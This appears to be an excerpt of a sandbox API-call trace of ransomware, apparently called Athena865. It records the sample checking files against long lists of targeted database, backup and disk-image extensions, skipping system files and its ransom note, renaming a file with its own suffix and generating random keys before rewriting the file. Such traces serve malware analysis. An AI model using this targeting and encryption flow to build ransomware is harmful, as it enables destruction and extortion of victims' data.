[0083.193] lstrcmpiW (lpString1="E.DLL", lpString2="accde") returned 1 [0083.193] lstrlenW (lpString="accdr") returned 5 [0083.193] lstrcmpiW (lpString1="E.DLL", lpString2="accdr") returned 1 [0083.193] lstrlenW (lpString="accdt") returned 5 [0083.193] lstrcmpiW (lpString1="E.DLL", lpString2="accdt") returned 1 [0083.193] lstrlenW (lpString="accdw") returned 5 [0083.193] lstrcmpiW (lpString1="E.DLL", lpString2="accdw") returned 1 [0083.193] lstrlenW (lpString="accft") returned 5 [0083.193] lstrcmpiW (lpString1="E.DLL", lpString2="accft") returned 1 [0083.193] lstrlenW (lpString="adb") returned 3 [0083.193] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0083.193] lstrlenW (lpString="adb") returned 3 [0083.193] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0083.193] lstrlenW (lpString="ade") returned 3 [0083.193] lstrcmpiW (lpString1="DLL", lpString2="ade") returned 1 [0083.193] lstrlenW (lpString="adf") returned 3 [0083.193] lstrcmpiW (lpString1="DLL", lpString2="adf") returned 1 [0083.193] lstrlenW (lpString="adn") returned 3 [0083.193] lstrcmpiW (lpString1="DLL", lpString2="adn") returned 1 [0083.193] lstrlenW (lpString="adp") returned 3 [0083.193] lstrcmpiW (lpString1="DLL", lpString2="adp") returned 1 [0083.193] lstrlenW (lpString="alf") returned 3 [0083.193] lstrcmpiW (lpString1="DLL", lpString2="alf") returned 1 [0083.193] lstrlenW (lpString="ask") returned 3 [0083.193] lstrcmpiW (lpString1="DLL", lpString2="ask") returned 1 [0083.193] lstrlenW (lpString="btr") returned 3 [0083.194] lstrcmpiW (lpString1="DLL", lpString2="btr") returned 1 [0083.194] lstrlenW (lpString="cat") returned 3 [0083.194] lstrcmpiW (lpString1="DLL", lpString2="cat") returned 1 [0083.194] lstrlenW (lpString="cdb") returned 3 [0083.194] lstrcmpiW (lpString1="DLL", lpString2="cdb") returned 1 [0083.194] lstrlenW (lpString="ckp") returned 3 [0083.194] lstrcmpiW (lpString1="DLL", lpString2="ckp") returned 1 [0083.194] lstrlenW (lpString="cma") returned 3 [0083.194] lstrcmpiW (lpString1="DLL", lpString2="cma") returned 1 [0083.194] lstrlenW (lpString="cpd") returned 3 [0083.194] lstrcmpiW (lpString1="DLL", lpString2="cpd") returned 1 [0083.194] lstrlenW (lpString="dacpac") returned 6 [0083.194] lstrcmpiW (lpString1="SE.DLL", lpString2="dacpac") returned 1 [0083.194] lstrlenW (lpString="dad") returned 3 [0083.194] lstrcmpiW (lpString1="DLL", lpString2="dad") returned 1 [0083.194] lstrlenW (lpString="dadiagrams") returned 10 [0083.194] lstrcmpiW (lpString1="DSBASE.DLL", lpString2="dadiagrams") returned 1 [0083.194] lstrlenW (lpString="daschema") returned 8 [0083.194] lstrcmpiW (lpString1="BASE.DLL", lpString2="daschema") returned -1 [0083.194] lstrlenW (lpString="db-journal") returned 10 [0083.194] lstrcmpiW (lpString1="DSBASE.DLL", lpString2="db-journal") returned 1 [0083.194] lstrlenW (lpString="db-shm") returned 6 [0083.194] lstrcmpiW (lpString1="SE.DLL", lpString2="db-shm") returned 1 [0083.194] lstrlenW (lpString="db-wal") returned 6 [0083.194] lstrcmpiW (lpString1="SE.DLL", lpString2="db-wal") returned 1 [0083.194] lstrlenW (lpString="dbc") returned 3 [0083.194] lstrcmpiW (lpString1="DLL", lpString2="dbc") returned 1 [0083.194] lstrlenW (lpString="dbs") returned 3 [0083.194] lstrcmpiW (lpString1="DLL", lpString2="dbs") returned 1 [0083.194] lstrlenW (lpString="dbt") returned 3 [0083.194] lstrcmpiW (lpString1="DLL", lpString2="dbt") returned 1 [0083.194] lstrlenW (lpString="dbv") returned 3 [0083.194] lstrcmpiW (lpString1="DLL", lpString2="dbv") returned 1 [0083.195] lstrlenW (lpString="dbx") returned 3 [0083.195] lstrcmpiW (lpString1="DLL", lpString2="dbx") returned 1 [0083.195] lstrlenW (lpString="dcb") returned 3 [0083.195] lstrcmpiW (lpString1="DLL", lpString2="dcb") returned 1 [0083.195] lstrlenW (lpString="dct") returned 3 [0083.195] lstrcmpiW (lpString1="DLL", lpString2="dct") returned 1 [0083.195] lstrlenW (lpString="dcx") returned 3 [0083.195] lstrcmpiW (lpString1="DLL", lpString2="dcx") returned 1 [0083.195] lstrlenW (lpString="ddl") returned 3 [0083.195] lstrcmpiW (lpString1="DLL", lpString2="ddl") returned 1 [0083.195] lstrlenW (lpString="dlis") returned 4 [0083.195] lstrcmpiW (lpString1=".DLL", lpString2="dlis") returned -1 [0083.195] lstrlenW (lpString="dp1") returned 3 [0083.195] lstrcmpiW (lpString1="DLL", lpString2="dp1") returned -1 [0083.195] lstrlenW (lpString="dqy") returned 3 [0083.195] lstrcmpiW (lpString1="DLL", lpString2="dqy") returned -1 [0083.195] lstrlenW (lpString="dsk") returned 3 [0083.195] lstrcmpiW (lpString1="DLL", lpString2="dsk") returned -1 [0083.195] lstrlenW (lpString="dsn") returned 3 [0083.195] lstrcmpiW (lpString1="DLL", lpString2="dsn") returned -1 [0083.195] lstrlenW (lpString="dtsx") returned 4 [0083.195] lstrcmpiW (lpString1=".DLL", lpString2="dtsx") returned -1 [0083.195] lstrlenW (lpString="dxl") returned 3 [0083.195] lstrcmpiW (lpString1="DLL", lpString2="dxl") returned -1 [0083.195] lstrlenW (lpString="eco") returned 3 [0083.195] lstrcmpiW (lpString1="DLL", lpString2="eco") returned -1 [0083.195] lstrlenW (lpString="ecx") returned 3 [0083.195] lstrcmpiW (lpString1="DLL", lpString2="ecx") returned -1 [0083.195] lstrlenW (lpString="edb") returned 3 [0083.195] lstrcmpiW (lpString1="DLL", lpString2="edb") returned -1 [0083.195] lstrlenW (lpString="epim") returned 4 [0083.195] lstrcmpiW (lpString1=".DLL", lpString2="epim") returned -1 [0083.196] lstrlenW (lpString="fcd") returned 3 [0083.196] lstrcmpiW (lpString1="DLL", lpString2="fcd") returned -1 [0083.196] lstrlenW (lpString="fdb") returned 3 [0083.196] lstrcmpiW (lpString1="DLL", lpString2="fdb") returned -1 [0083.196] lstrlenW (lpString="fic") returned 3 [0083.196] lstrcmpiW (lpString1="DLL", lpString2="fic") returned -1 [0083.196] lstrlenW (lpString="flexolibrary") returned 12 [0083.196] lstrlenW (lpString="fm5") returned 3 [0083.196] lstrcmpiW (lpString1="DLL", lpString2="fm5") returned -1 [0083.196] lstrlenW (lpString="fmp") returned 3 [0083.196] lstrcmpiW (lpString1="DLL", lpString2="fmp") returned -1 [0083.196] lstrlenW (lpString="fmp12") returned 5 [0083.196] lstrcmpiW (lpString1="E.DLL", lpString2="fmp12") returned -1 [0083.196] lstrlenW (lpString="fmpsl") returned 5 [0083.196] lstrcmpiW (lpString1="E.DLL", lpString2="fmpsl") returned -1 [0083.196] lstrlenW (lpString="fol") returned 3 [0083.196] lstrcmpiW (lpString1="DLL", lpString2="fol") returned -1 [0083.196] lstrlenW (lpString="fp3") returned 3 [0083.196] lstrcmpiW (lpString1="DLL", lpString2="fp3") returned -1 [0083.196] lstrlenW (lpString="fp4") returned 3 [0083.196] lstrcmpiW (lpString1="DLL", lpString2="fp4") returned -1 [0083.196] lstrlenW (lpString="fp5") returned 3 [0083.196] lstrcmpiW (lpString1="DLL", lpString2="fp5") returned -1 [0083.196] lstrlenW (lpString="fp7") returned 3 [0083.196] lstrcmpiW (lpString1="DLL", lpString2="fp7") returned -1 [0083.196] lstrlenW (lpString="fpt") returned 3 [0083.196] lstrcmpiW (lpString1="DLL", lpString2="fpt") returned -1 [0083.196] lstrlenW (lpString="frm") returned 3 [0083.196] lstrcmpiW (lpString1="DLL", lpString2="frm") returned -1 [0083.196] lstrlenW (lpString="gdb") returned 3 [0083.196] lstrcmpiW (lpString1="DLL", lpString2="gdb") returned -1 [0083.196] lstrlenW (lpString="gdb") returned 3 [0083.196] lstrcmpiW (lpString1="DLL", lpString2="gdb") returned -1 [0083.197] lstrlenW (lpString="grdb") returned 4 [0083.197] lstrcmpiW (lpString1=".DLL", lpString2="grdb") returned -1 [0083.197] lstrlenW (lpString="gwi") returned 3 [0083.197] lstrcmpiW (lpString1="DLL", lpString2="gwi") returned -1 [0083.197] lstrlenW (lpString="hdb") returned 3 [0083.197] lstrcmpiW (lpString1="DLL", lpString2="hdb") returned -1 [0083.197] lstrlenW (lpString="his") returned 3 [0083.197] lstrcmpiW (lpString1="DLL", lpString2="his") returned -1 [0083.197] lstrlenW (lpString="ib") returned 2 [0083.197] lstrcmpiW (lpString1="LL", lpString2="ib") returned 1 [0083.197] lstrlenW (lpString="idb") returned 3 [0083.197] lstrcmpiW (lpString1="DLL", lpString2="idb") returned -1 [0083.197] lstrlenW (lpString="ihx") returned 3 [0083.197] lstrcmpiW (lpString1="DLL", lpString2="ihx") returned -1 [0083.197] lstrlenW (lpString="itdb") returned 4 [0083.197] lstrcmpiW (lpString1=".DLL", lpString2="itdb") returned -1 [0083.197] lstrlenW (lpString="itw") returned 3 [0083.197] lstrcmpiW (lpString1="DLL", lpString2="itw") returned -1 [0083.197] lstrlenW (lpString="jet") returned 3 [0083.197] lstrcmpiW (lpString1="DLL", lpString2="jet") returned -1 [0083.197] lstrlenW (lpString="jtx") returned 3 [0083.197] lstrcmpiW (lpString1="DLL", lpString2="jtx") returned -1 [0083.197] lstrlenW (lpString="kdb") returned 3 [0083.197] lstrcmpiW (lpString1="DLL", lpString2="kdb") returned -1 [0083.197] lstrlenW (lpString="kexi") returned 4 [0083.197] lstrcmpiW (lpString1=".DLL", lpString2="kexi") returned -1 [0083.197] lstrlenW (lpString="kexic") returned 5 [0083.197] lstrcmpiW (lpString1="E.DLL", lpString2="kexic") returned -1 [0083.198] lstrlenW (lpString="kexis") returned 5 [0083.198] lstrcmpiW (lpString1="E.DLL", lpString2="kexis") returned -1 [0083.198] lstrlenW (lpString="lgc") returned 3 [0083.198] lstrcmpiW (lpString1="DLL", lpString2="lgc") returned -1 [0083.198] lstrlenW (lpString="lwx") returned 3 [0083.198] lstrcmpiW (lpString1="DLL", lpString2="lwx") returned -1 [0083.198] lstrlenW (lpString="maf") returned 3 [0083.198] lstrcmpiW (lpString1="DLL", lpString2="maf") returned -1 [0083.198] lstrlenW (lpString="maq") returned 3 [0083.198] lstrcmpiW (lpString1="DLL", lpString2="maq") returned -1 [0083.198] lstrlenW (lpString="mar") returned 3 [0083.198] lstrcmpiW (lpString1="DLL", lpString2="mar") returned -1 [0083.198] lstrlenW (lpString="marshal") returned 7 [0083.198] lstrcmpiW (lpString1="ASE.DLL", lpString2="marshal") returned -1 [0083.198] lstrlenW (lpString="mas") returned 3 [0083.198] lstrcmpiW (lpString1="DLL", lpString2="mas") returned -1 [0083.198] lstrlenW (lpString="mav") returned 3 [0083.198] lstrcmpiW (lpString1="DLL", lpString2="mav") returned -1 [0083.198] lstrlenW (lpString="maw") returned 3 [0083.198] lstrcmpiW (lpString1="DLL", lpString2="maw") returned -1 [0083.198] lstrlenW (lpString="mdbhtml") returned 7 [0083.198] lstrcmpiW (lpString1="ASE.DLL", lpString2="mdbhtml") returned -1 [0083.198] lstrlenW (lpString="mdn") returned 3 [0083.198] lstrcmpiW (lpString1="DLL", lpString2="mdn") returned -1 [0083.198] lstrlenW (lpString="mdt") returned 3 [0083.198] lstrcmpiW (lpString1="DLL", lpString2="mdt") returned -1 [0083.198] lstrlenW (lpString="mfd") returned 3 [0083.198] lstrcmpiW (lpString1="DLL", lpString2="mfd") returned -1 [0083.198] lstrlenW (lpString="mpd") returned 3 [0083.198] lstrcmpiW (lpString1="DLL", lpString2="mpd") returned -1 [0083.198] lstrlenW (lpString="mrg") returned 3 [0083.198] lstrcmpiW (lpString1="DLL", lpString2="mrg") returned -1 [0083.199] lstrlenW (lpString="mud") returned 3 [0083.199] lstrcmpiW (lpString1="DLL", lpString2="mud") returned -1 [0083.199] lstrlenW (lpString="mwb") returned 3 [0083.199] lstrcmpiW (lpString1="DLL", lpString2="mwb") returned -1 [0083.199] lstrlenW (lpString="myd") returned 3 [0083.199] lstrcmpiW (lpString1="DLL", lpString2="myd") returned -1 [0083.199] lstrlenW (lpString="ndf") returned 3 [0083.199] lstrcmpiW (lpString1="DLL", lpString2="ndf") returned -1 [0083.199] lstrlenW (lpString="nnt") returned 3 [0083.199] lstrcmpiW (lpString1="DLL", lpString2="nnt") returned -1 [0083.199] lstrlenW (lpString="nrmlib") returned 6 [0083.199] lstrcmpiW (lpString1="SE.DLL", lpString2="nrmlib") returned 1 [0083.199] lstrlenW (lpString="ns2") returned 3 [0083.199] lstrcmpiW (lpString1="DLL", lpString2="ns2") returned -1 [0083.199] lstrlenW (lpString="ns3") returned 3 [0083.199] lstrcmpiW (lpString1="DLL", lpString2="ns3") returned -1 [0083.199] lstrlenW (lpString="ns4") returned 3 [0083.199] lstrcmpiW (lpString1="DLL", lpString2="ns4") returned -1 [0083.199] lstrlenW (lpString="nsf") returned 3 [0083.199] lstrcmpiW (lpString1="DLL", lpString2="nsf") returned -1 [0083.199] lstrlenW (lpString="nv") returned 2 [0083.199] lstrcmpiW (lpString1="LL", lpString2="nv") returned -1 [0083.199] lstrlenW (lpString="nv2") returned 3 [0083.199] lstrcmpiW (lpString1="DLL", lpString2="nv2") returned -1 [0083.199] lstrlenW (lpString="nwdb") returned 4 [0083.199] lstrcmpiW (lpString1=".DLL", lpString2="nwdb") returned -1 [0083.199] lstrlenW (lpString="nyf") returned 3 [0083.199] lstrcmpiW (lpString1="DLL", lpString2="nyf") returned -1 [0083.199] lstrlenW (lpString="odb") returned 3 [0083.199] lstrcmpiW (lpString1="DLL", lpString2="odb") returned -1 [0083.199] lstrlenW (lpString="odb") returned 3 [0083.199] lstrcmpiW (lpString1="DLL", lpString2="odb") returned -1 [0083.199] lstrlenW (lpString="oqy") returned 3 [0083.200] lstrcmpiW (lpString1="DLL", lpString2="oqy") returned -1 [0083.200] lstrlenW (lpString="ora") returned 3 [0083.200] lstrcmpiW (lpString1="DLL", lpString2="ora") returned -1 [0083.200] lstrlenW (lpString="orx") returned 3 [0083.200] lstrcmpiW (lpString1="DLL", lpString2="orx") returned -1 [0083.200] lstrlenW (lpString="owc") returned 3 [0083.200] lstrcmpiW (lpString1="DLL", lpString2="owc") returned -1 [0083.200] lstrlenW (lpString="p96") returned 3 [0083.200] lstrcmpiW (lpString1="DLL", lpString2="p96") returned -1 [0083.200] lstrlenW (lpString="p97") returned 3 [0083.200] lstrcmpiW (lpString1="DLL", lpString2="p97") returned -1 [0083.200] lstrlenW (lpString="pan") returned 3 [0083.200] lstrcmpiW (lpString1="DLL", lpString2="pan") returned -1 [0083.200] lstrlenW (lpString="pdb") returned 3 [0083.200] lstrcmpiW (lpString1="DLL", lpString2="pdb") returned -1 [0083.200] lstrlenW (lpString="pdm") returned 3 [0083.200] lstrcmpiW (lpString1="DLL", lpString2="pdm") returned -1 [0083.200] lstrlenW (lpString="pnz") returned 3 [0083.200] lstrcmpiW (lpString1="DLL", lpString2="pnz") returned -1 [0083.200] lstrlenW (lpString="qry") returned 3 [0083.200] lstrcmpiW (lpString1="DLL", lpString2="qry") returned -1 [0083.200] lstrlenW (lpString="qvd") returned 3 [0083.200] lstrcmpiW (lpString1="DLL", lpString2="qvd") returned -1 [0083.200] lstrlenW (lpString="rbf") returned 3 [0083.200] lstrcmpiW (lpString1="DLL", lpString2="rbf") returned -1 [0083.200] lstrlenW (lpString="rctd") returned 4 [0083.200] lstrcmpiW (lpString1=".DLL", lpString2="rctd") returned -1 [0083.200] lstrlenW (lpString="rod") returned 3 [0083.200] lstrcmpiW (lpString1="DLL", lpString2="rod") returned -1 [0083.200] lstrlenW (lpString="rodx") returned 4 [0083.200] lstrcmpiW (lpString1=".DLL", lpString2="rodx") returned -1 [0083.200] lstrlenW (lpString="rpd") returned 3 [0083.200] lstrcmpiW (lpString1="DLL", lpString2="rpd") returned -1 [0083.201] lstrlenW (lpString="rsd") returned 3 [0083.201] lstrcmpiW (lpString1="DLL", lpString2="rsd") returned -1 [0083.201] lstrlenW (lpString="sas7bdat") returned 8 [0083.201] lstrcmpiW (lpString1="BASE.DLL", lpString2="sas7bdat") returned -1 [0083.201] lstrlenW (lpString="sbf") returned 3 [0083.201] lstrcmpiW (lpString1="DLL", lpString2="sbf") returned -1 [0083.201] lstrlenW (lpString="scx") returned 3 [0083.201] lstrcmpiW (lpString1="DLL", lpString2="scx") returned -1 [0083.201] lstrlenW (lpString="sdb") returned 3 [0083.201] lstrcmpiW (lpString1="DLL", lpString2="sdb") returned -1 [0083.201] lstrlenW (lpString="sdc") returned 3 [0083.201] lstrcmpiW (lpString1="DLL", lpString2="sdc") returned -1 [0083.201] lstrlenW (lpString="sdf") returned 3 [0083.201] lstrcmpiW (lpString1="DLL", lpString2="sdf") returned -1 [0083.201] lstrlenW (lpString="sis") returned 3 [0083.201] lstrcmpiW (lpString1="DLL", lpString2="sis") returned -1 [0083.201] lstrlenW (lpString="spq") returned 3 [0083.201] lstrcmpiW (lpString1="DLL", lpString2="spq") returned -1 [0083.201] lstrlenW (lpString="te") returned 2 [0083.201] lstrcmpiW (lpString1="LL", lpString2="te") returned -1 [0083.201] lstrlenW (lpString="teacher") returned 7 [0083.201] lstrcmpiW (lpString1="ASE.DLL", lpString2="teacher") returned -1 [0083.201] lstrlenW (lpString="tmd") returned 3 [0083.201] lstrcmpiW (lpString1="DLL", lpString2="tmd") returned -1 [0083.201] lstrlenW (lpString="tps") returned 3 [0083.201] lstrcmpiW (lpString1="DLL", lpString2="tps") returned -1 [0083.201] lstrlenW (lpString="trc") returned 3 [0083.201] lstrcmpiW (lpString1="DLL", lpString2="trc") returned -1 [0083.201] lstrlenW (lpString="trc") returned 3 [0083.201] lstrcmpiW (lpString1="DLL", lpString2="trc") returned -1 [0083.201] lstrlenW (lpString="trm") returned 3 [0083.201] lstrcmpiW (lpString1="DLL", lpString2="trm") returned -1 [0083.201] lstrlenW (lpString="udb") returned 3 [0083.202] lstrcmpiW (lpString1="DLL", lpString2="udb") returned -1 [0083.202] lstrlenW (lpString="udl") returned 3 [0083.202] lstrcmpiW (lpString1="DLL", lpString2="udl") returned -1 [0083.202] lstrlenW (lpString="usr") returned 3 [0083.202] lstrcmpiW (lpString1="DLL", lpString2="usr") returned -1 [0083.202] lstrlenW (lpString="v12") returned 3 [0083.202] lstrcmpiW (lpString1="DLL", lpString2="v12") returned -1 [0083.202] lstrlenW (lpString="vis") returned 3 [0083.202] lstrcmpiW (lpString1="DLL", lpString2="vis") returned -1 [0083.202] lstrlenW (lpString="vpd") returned 3 [0083.202] lstrcmpiW (lpString1="DLL", lpString2="vpd") returned -1 [0083.202] lstrlenW (lpString="vvv") returned 3 [0083.202] lstrcmpiW (lpString1="DLL", lpString2="vvv") returned -1 [0083.202] lstrlenW (lpString="wdb") returned 3 [0083.202] lstrcmpiW (lpString1="DLL", lpString2="wdb") returned -1 [0083.202] lstrlenW (lpString="wmdb") returned 4 [0083.202] lstrcmpiW (lpString1=".DLL", lpString2="wmdb") returned -1 [0083.202] lstrlenW (lpString="wrk") returned 3 [0083.202] lstrcmpiW (lpString1="DLL", lpString2="wrk") returned -1 [0083.202] lstrlenW (lpString="xdb") returned 3 [0083.202] lstrcmpiW (lpString1="DLL", lpString2="xdb") returned -1 [0083.202] lstrlenW (lpString="xld") returned 3 [0083.202] lstrcmpiW (lpString1="DLL", lpString2="xld") returned -1 [0083.202] lstrlenW (lpString="xmlff") returned 5 [0083.202] lstrcmpiW (lpString1="E.DLL", lpString2="xmlff") returned -1 [0083.202] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\PDSBASE.DLL.Athena865") returned 64 [0083.202] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PDSBASE.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\pdsbase.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PDSBASE.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\pdsbase.dll.athena865"), dwFlags=0x1) returned 1 [0083.229] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PDSBASE.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\pdsbase.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0083.229] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=480672) returned 1 [0083.229] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0083.230] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0083.230] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519008 [0083.230] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518f80) returned 1 [0083.231] CryptGenRandom (in: hProv=0x518f80, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0083.231] CryptReleaseContext (hProv=0x518f80, dwFlags=0x0) returned 1 [0083.231] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x758a0, lpName=0x0) returned 0x154 [0083.235] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x758a0) returned 0x2d50000 [0083.263] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518f80) returned 1 [0083.264] CryptGenRandom (in: hProv=0x518f80, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0083.264] CryptReleaseContext (hProv=0x518f80, dwFlags=0x0) returned 1 [0083.264] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0083.264] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0083.264] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0083.264] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0083.264] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0083.264] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0083.265] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0083.265] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0083.265] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0083.265] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0083.265] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0083.269] CloseHandle (hObject=0x154) returned 1 [0083.269] CloseHandle (hObject=0x17c) returned 1 [0083.269] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0083.269] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519008 | out: hHeap=0x4f0000) returned 1 [0083.269] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0083.271] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11ca6e00, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd09c6440, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x11ca6e00, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0xecd70, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PE.DLL", cAlternateFileName="")) returned 1 [0083.271] lstrcmpiW (lpString1="PE.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0083.271] lstrcmpiW (lpString1="PE.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0083.271] lstrcmpiW (lpString1="PE.DLL", lpString2=".") returned 1 [0083.272] lstrcmpiW (lpString1="PE.DLL", lpString2="..") returned 1 [0083.272] lstrcmpiW (lpString1="PE.DLL", lpString2="windows") returned -1 [0083.272] lstrcmpiW (lpString1="PE.DLL", lpString2="bootmgr") returned 1 [0083.272] lstrcmpiW (lpString1="PE.DLL", lpString2="temp") returned -1 [0083.272] lstrcmpiW (lpString1="PE.DLL", lpString2="pagefile.sys") returned 1 [0083.272] lstrcmpiW (lpString1="PE.DLL", lpString2="boot") returned 1 [0083.272] lstrcmpiW (lpString1="PE.DLL", lpString2="ids.txt") returned 1 [0083.272] lstrcmpiW (lpString1="PE.DLL", lpString2="ntuser.dat") returned 1 [0083.272] lstrcmpiW (lpString1="PE.DLL", lpString2="perflogs") returned -1 [0083.272] lstrcmpiW (lpString1="PE.DLL", lpString2="MSBuild") returned 1 [0083.272] lstrlenW (lpString="PE.DLL") returned 6 [0083.272] lstrcpyW (in: lpString1=0x241e89e, lpString2="PE.DLL" | out: lpString1="PE.DLL") returned="PE.DLL" [0083.272] lstrlenW (lpString="PE.DLL") returned 6 [0083.272] lstrlenW (lpString="Athena865") returned 9 [0083.272] lstrlenW (lpString=".dll") returned 4 [0083.272] lstrcmpiW (lpString1="PE.DLL", lpString2=".dll") returned 1 [0083.272] lstrlenW (lpString=".lnk") returned 4 [0083.272] lstrcmpiW (lpString1="PE.DLL", lpString2=".lnk") returned 1 [0083.272] lstrlenW (lpString=".ini") returned 4 [0083.272] lstrcmpiW (lpString1="PE.DLL", lpString2=".ini") returned 1 [0083.272] lstrlenW (lpString=".sys") returned 4 [0083.272] lstrcmpiW (lpString1="PE.DLL", lpString2=".sys") returned 1 [0083.272] lstrlenW (lpString="PE.DLL") returned 6 [0083.272] lstrlenW (lpString="bak") returned 3 [0083.272] lstrcmpiW (lpString1="DLL", lpString2="bak") returned 1 [0083.272] lstrlenW (lpString="ba_") returned 3 [0083.272] lstrcmpiW (lpString1="DLL", lpString2="ba_") returned 1 [0083.272] lstrlenW (lpString="dbb") returned 3 [0083.272] lstrcmpiW (lpString1="DLL", lpString2="dbb") returned 1 [0083.272] lstrlenW (lpString="vmdk") returned 4 [0083.272] lstrcmpiW (lpString1=".DLL", lpString2="vmdk") returned -1 [0083.272] lstrlenW (lpString="rar") returned 3 [0083.272] lstrcmpiW (lpString1="DLL", lpString2="rar") returned -1 [0083.273] lstrlenW (lpString="zip") returned 3 [0083.273] lstrcmpiW (lpString1="DLL", lpString2="zip") returned -1 [0083.273] lstrlenW (lpString="tgz") returned 3 [0083.273] lstrcmpiW (lpString1="DLL", lpString2="tgz") returned -1 [0083.273] lstrlenW (lpString="vbox") returned 4 [0083.273] lstrcmpiW (lpString1=".DLL", lpString2="vbox") returned -1 [0083.273] lstrlenW (lpString="vdi") returned 3 [0083.273] lstrcmpiW (lpString1="DLL", lpString2="vdi") returned -1 [0083.273] lstrlenW (lpString="vhd") returned 3 [0083.273] lstrcmpiW (lpString1="DLL", lpString2="vhd") returned -1 [0083.273] lstrlenW (lpString="vhdx") returned 4 [0083.273] lstrcmpiW (lpString1=".DLL", lpString2="vhdx") returned -1 [0083.273] lstrlenW (lpString="avhd") returned 4 [0083.273] lstrcmpiW (lpString1=".DLL", lpString2="avhd") returned -1 [0083.273] lstrlenW (lpString="db") returned 2 [0083.273] lstrcmpiW (lpString1="LL", lpString2="db") returned 1 [0083.273] lstrlenW (lpString="db2") returned 3 [0083.273] lstrcmpiW (lpString1="DLL", lpString2="db2") returned 1 [0083.273] lstrlenW (lpString="db3") returned 3 [0083.273] lstrcmpiW (lpString1="DLL", lpString2="db3") returned 1 [0083.273] lstrlenW (lpString="dbf") returned 3 [0083.273] lstrcmpiW (lpString1="DLL", lpString2="dbf") returned 1 [0083.273] lstrlenW (lpString="mdf") returned 3 [0083.273] lstrcmpiW (lpString1="DLL", lpString2="mdf") returned -1 [0083.273] lstrlenW (lpString="mdb") returned 3 [0083.273] lstrcmpiW (lpString1="DLL", lpString2="mdb") returned -1 [0083.273] lstrlenW (lpString="sql") returned 3 [0083.273] lstrcmpiW (lpString1="DLL", lpString2="sql") returned -1 [0083.273] lstrlenW (lpString="sqlite") returned 6 [0083.273] lstrlenW (lpString="sqlite3") returned 7 [0083.273] lstrlenW (lpString="sqlitedb") returned 8 [0083.273] lstrlenW (lpString="xml") returned 3 [0083.273] lstrcmpiW (lpString1="DLL", lpString2="xml") returned -1 [0083.274] lstrlenW (lpString="$er") returned 3 [0083.274] lstrcmpiW (lpString1="DLL", lpString2="$er") returned 1 [0083.274] lstrlenW (lpString="4dd") returned 3 [0083.274] lstrcmpiW (lpString1="DLL", lpString2="4dd") returned 1 [0083.274] lstrlenW (lpString="4dl") returned 3 [0083.274] lstrcmpiW (lpString1="DLL", lpString2="4dl") returned 1 [0083.274] lstrlenW (lpString="^^^") returned 3 